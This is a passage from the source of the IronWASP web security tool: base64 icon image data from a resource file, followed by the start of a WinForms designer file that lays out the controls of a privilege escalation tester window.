AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + km0SEmJHGSALCVtA0dA+CkFFkV0w6BAQISSEsG9hJ9sk8/6oipn03Orp5d5bt26f7+fDh8/nVnf1uXdy + f+fUdg4IgiAIgiAIgiAIgiAIgiAIgiAIgiAIgpAXuqIuKqV2Br4DnA/cpbUe8G2oIAjNoZTqAnYGDgWm + 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 + + + \ No newline at end of file diff --git a/Iron/Hawas/PrivillegeEscalationTester.Designer.cs b/Iron/Hawas/PrivillegeEscalationTester.Designer.cs new file mode 100644 index 0000000..fb310b0 --- /dev/null +++ b/Iron/Hawas/PrivillegeEscalationTester.Designer.cs @@ -0,0 +1,1369 @@ +namespace IronWASP.Hawas +{ + partial class PrivillegeEscalationTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PrivillegeEscalationTester)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.ConfigureProgressBar = new System.Windows.Forms.ProgressBar(); + this.ConfigurePanel = new System.Windows.Forms.Panel(); + this.label2 = new System.Windows.Forms.Label(); + this.ShowDocLL = new System.Windows.Forms.LinkLabel(); + this.HostnamesScopeTree = new System.Windows.Forms.TreeView(); + this.FindSessionsBtn = new System.Windows.Forms.Button(); + this.FileTypesScopeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.SessionsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.label3 = new System.Windows.Forms.Label(); + this.SessionsProgressBar = new System.Windows.Forms.ProgressBar(); + this.FindCandidatesBtn = new System.Windows.Forms.Button(); + this.SessionsBottomSplit = new System.Windows.Forms.SplitContainer(); + this.SelectSessionsGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn2 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.Column1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CookieParamValueClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label1 = new System.Windows.Forms.Label(); + this.CookieValueTB = new System.Windows.Forms.TextBox(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.SelectCandidatesBaseTab = new System.Windows.Forms.SplitContainer(); + this.label5 = new System.Windows.Forms.Label(); + this.SelectUserBRB = new System.Windows.Forms.RadioButton(); + this.RecordingSelectBox = new System.Windows.Forms.ComboBox(); + this.SelectUserARB = new System.Windows.Forms.RadioButton(); + this.SelectCandidatesLbl = new System.Windows.Forms.Label(); + this.TestCandidatesBtn = new System.Windows.Forms.Button(); + this.CandidatesProgressBar = new System.Windows.Forms.ProgressBar(); + this.CandidatesBottomSplit = new System.Windows.Forms.SplitContainer(); + this.FilterTree = new System.Windows.Forms.TreeView(); + this.SelectCandidatesLogsSplit = new System.Windows.Forms.SplitContainer(); + this.CandidatesGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameSelectClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MethodClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.URLClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FileClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.tabPage3 = new 